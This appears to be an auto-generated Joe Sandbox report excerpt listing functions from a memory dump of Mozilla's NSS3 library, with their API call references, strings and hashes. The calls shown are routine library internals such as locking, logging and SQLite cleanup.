sqlite3_initialize.NSS3 ref: 6C722D9F

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

sqlite3_exec.NSS3(?,?,6C722F70,?,?), ref: 6C722DF9
sqlite3_free.NSS3(00000000), ref: 6C722E2C
sqlite3_free.NSS3(?), ref: 6C722E3A
sqlite3_free.NSS3(?), ref: 6C722E52
sqlite3_mprintf.NSS3(6C78AAF9,?), ref: 6C722E62
sqlite3_free.NSS3(?), ref: 6C722E70
sqlite3_free.NSS3(?), ref: 6C722E89
sqlite3_free.NSS3(?), ref: 6C722EBB
sqlite3_free.NSS3(?), ref: 6C722ECB
sqlite3_free.NSS3(00000000), ref: 6C722F3E
sqlite3_free.NSS3(?), ref: 6C722F4C

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 0e6a4e4ec064bad3a4a2e42bc72709a20611f34633e53df68bd94d7e87707af0
Instruction ID: b39af2a6352e5ed4a62118d0c17db90a238e48776222c0a02910b1962d4f26b3
Opcode Fuzzy Hash: 0e6a4e4ec064bad3a4a2e42bc72709a20611f34633e53df68bd94d7e87707af0
Instruction Fuzzy Hash: E36190B5E112058BEB10CF68D989B9EB7B5EF88368F154038DC15A7701EB39E845CBA1

Function 6C667C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7B2120,Function_00097E60,00000000,?,?,?,?,6C6E067D,6C6E1C60,00000000), ref: 6C667C81

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

TlsGetValue.KERNEL32 ref: 6C667CA0
EnterCriticalSection.KERNEL32(?), ref: 6C667CB4
PR_Unlock.NSS3 ref: 6C667CCF

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

TlsGetValue.KERNEL32 ref: 6C667D04
EnterCriticalSection.KERNEL32(?), ref: 6C667D1B
realloc.MOZGLUE(-00000050), ref: 6C667D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C667DF4
PR_Unlock.NSS3 ref: 6C667E0E

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 96db53677b634acf98d3b06285864869eb5c8aedae084c48ef9f62a148587d49
Instruction ID: cd0d8d44517823f72526ae685aab853acb2ea2a1c4186cb4cc9c4450451460b2
Opcode Fuzzy Hash: 96db53677b634acf98d3b06285864869eb5c8aedae084c48ef9f62a148587d49
Instruction Fuzzy Hash: D5510271A05104AFDB009F2ADC44E6537F6EB42399F154539ED0887B21EB319855CB9A

Function 6C5D4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D97
PR_Lock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4DBA
PR_WaitCondVar.NSS3 ref: 6C5D4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4DEF

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 8aaacbb53f269875e8be44293b8c15b2196d29bfa51fd197a381209bcb6ae6bb
Instruction ID: b5fcaae559bf753048d4b60958587037310b3b922127659d4ecc4e21f5f8e7a1
Opcode Fuzzy Hash: 8aaacbb53f269875e8be44293b8c15b2196d29bfa51fd197a381209bcb6ae6bb
Instruction Fuzzy Hash: 85414DB5A04715CFCB00EF7CD48855977F4BF06318B168A79D8989B710EB30E895CB9A

Function 6C678F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C67905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C6790EC

Part of subcall function 6C640F00: PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B
Part of subcall function 6C640F00: PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679111

Strings

nvl, xrefs: 6C6790A3

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: nvl
API String ID: 2831689957-2622381835
Opcode ID: afe78bc33f057b9082db7b430dd6efd43c97ea06c247e4ff300a89fba2d6200a
Instruction ID: d74f2e93babd35cd936143d9b71e5b7503c60e8e16c168bc921b4e38c40c5d29
Opcode Fuzzy Hash: afe78bc33f057b9082db7b430dd6efd43c97ea06c247e4ff300a89fba2d6200a
Instruction Fuzzy Hash: 2E51AB70A042158FCF10EF38C488699BBF1BF0A358F0559B9DC449B716EB35E885CBA9

Function 6C767CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C767CE0

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767D36
PR_Realloc.NSS3(?,00000080), ref: 6C767D6D
PR_GetCurrentThread.NSS3 ref: 6C767D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C767DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767DD8
malloc.MOZGLUE(00000080), ref: 6C767DF8
PR_GetCurrentThread.NSS3 ref: 6C767E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C767DF0
:%s:%d:0x%lx, xrefs: 6C767DB9

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 4978e56abe8437ca07889259ed1ddbcdab4789e49a15037a7569e24729fe38cf
Instruction ID: 64153eb4e07bb59d13acc5c6b0697457555c35f0535ace9c42039f709e538c9a
Opcode Fuzzy Hash: 4978e56abe8437ca07889259ed1ddbcdab4789e49a15037a7569e24729fe38cf
Instruction Fuzzy Hash: 9341D8B16002059FDB04CF2ACE8596B37A9FF80358B19496CEC198BF51D731E941CBA1

Function 6C767E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C767E46

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C767EAF
PR_ImportFile.NSS3(?), ref: 6C767ECF
PR_GetCurrentThread.NSS3 ref: 6C767ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C767F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C767F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C767F15

Strings

%d:0x%lx, xrefs: 6C767EA9
NSPR_INHERIT_FDS, xrefs: 6C767E41

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 766f7eb6e59f4c25f796785d927f12365496e99f2f1ce7739f968e7251e2f7c0
Instruction ID: 5aed24a47e2b6f0d90098e2c41fc9ecb3ac5bd061177fdc0f13a5bc1c43393df
Opcode Fuzzy Hash: 766f7eb6e59f4c25f796785d927f12365496e99f2f1ce7739f968e7251e2f7c0
Instruction Fuzzy Hash: C6312170A041199BEB009B6ACA84AABB7BDEB46388F244575DC05A7E11F7219D09C792

Function 6C674E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C674E90
EnterCriticalSection.KERNEL32 ref: 6C674EA9
TlsGetValue.KERNEL32 ref: 6C674EC6
EnterCriticalSection.KERNEL32 ref: 6C674EDF
PL_HashTableLookup.NSS3 ref: 6C674EF8
PR_Unlock.NSS3 ref: 6C674F05
PR_Now.NSS3 ref: 6C674F13
PR_Unlock.NSS3 ref: 6C674F3A

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

Strings

bUgl, xrefs: 6C674E5C
bUgl, xrefs: 6C674F3F

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUgl$bUgl
API String ID: 326028414-433878880
Opcode ID: 8c04866d5e1a484c448429671e38cb2bba25ce4b7672756b61ca3b25611e7919
Instruction ID: 43928d472bb7bf6bee02f62fa467335f81323fca9321d0c8d15164fb7999d30c
Opcode Fuzzy Hash: 8c04866d5e1a484c448429671e38cb2bba25ce4b7672756b61ca3b25611e7919
Instruction Fuzzy Hash: 64417EB4A00605DFCB00EF78C0888AABBF0FF49354B118569EC598B710EB30E855CFA5

Function 6C686C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C686C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C686C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C686CA3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C686CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C686CD5

Strings

hSession = 0x%x, xrefs: 6C686C7E, 6C686C8E
nvl, xrefs: 6C686CF4, 6C686D1F
pMechanism = 0x%p, xrefs: 6C686CD0
(CK_INVALID_HANDLE), xrefs: 6C686C9C
C_DigestInit, xrefs: 6C686C61

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$nvl
API String ID: 1003633598-38645125
Opcode ID: 8dad9576e842aca81ca2cd24f18bfa32b0f1e9a1c020164ef6aba3e2a29f01f4
Instruction ID: c9903db8a381657514da2625c1b9aaa53de78cc17e3ab2697a7299ea8a5a6ef6
Opcode Fuzzy Hash: 8dad9576e842aca81ca2cd24f18bfa32b0f1e9a1c020164ef6aba3e2a29f01f4
Instruction Fuzzy Hash: 3521D2706021189BDB109F559E8DF9A3BB5EB46318F084035E909ABB51DF30D908CBBE

Function 6C689DD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6C689DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C689E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689E33

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C689E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6C689E65

Strings

flags = 0x%x, xrefs: 6C689E60
C_SessionCancel, xrefs: 6C689DF1
hSession = 0x%x, xrefs: 6C689E0E, 6C689E1E
nvl, xrefs: 6C689E7D, 6C689EA8
(CK_INVALID_HANDLE), xrefs: 6C689E2C

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel$nvl
API String ID: 1003633598-2976574969
Opcode ID: b27bd51dda6e8a0794d50718c18e7701733a80951f9541e95a9289e692512b39
Instruction ID: 3c64787e9378289bcc1afb8ed4801818213899cfff743bb56bed3a251824f273
Opcode Fuzzy Hash: b27bd51dda6e8a0794d50718c18e7701733a80951f9541e95a9289e692512b39
Instruction Fuzzy Hash: 6521A271602208AFDB009F559E8CFAA3BB5AF4634DF044434E909ABB51DB309949C7BE

Function 6C69ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C69DE64), ref: 6C69ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69ED22

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PL_FreeArenaPool.NSS3(?), ref: 6C69ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C69ED6B
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C69ED38

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C69ED52
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C69ED83
PL_FreeArenaPool.NSS3(?), ref: 6C69ED95
PL_FinishArenaPool.NSS3(?), ref: 6C69ED9D

Part of subcall function 6C6B64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C6B127C,00000000,00000000,00000000), ref: 6C6B650E

Strings

security, xrefs: 6C69ED06

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: dc1fbcce7e088bd83a4cced4aeb7cfe94cd7d5c838b1aaa0902f12ebf30a5fe1
Instruction ID: 28c81ebaddfb73fa214c35a6141f11110cd87732556d38ea3b25dff53e969e3a
Opcode Fuzzy Hash: dc1fbcce7e088bd83a4cced4aeb7cfe94cd7d5c838b1aaa0902f12ebf30a5fe1
Instruction Fuzzy Hash: 921127759412056BE6105A25AC84FBBB2B8BF4270CF050534E81572E61FB35E61C87EE

Function 6C760EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C642357), ref: 6C760EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C642357), ref: 6C760EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C760EE6

Part of subcall function 6C7609D0: PR_Now.NSS3 ref: 6C760A22
Part of subcall function 6C7609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C760A35
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C760A66
Part of subcall function 6C7609D0: PR_GetCurrentThread.NSS3 ref: 6C760A70
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C760A9D
Part of subcall function 6C7609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C760AC8
Part of subcall function 6C7609D0: PR_vsmprintf.NSS3(?,?), ref: 6C760AE8
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760B19
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760B48
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760C76
Part of subcall function 6C7609D0: PR_LogFlush.NSS3 ref: 6C760C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C760EFA

Part of subcall function 6C64AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C64AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F2B

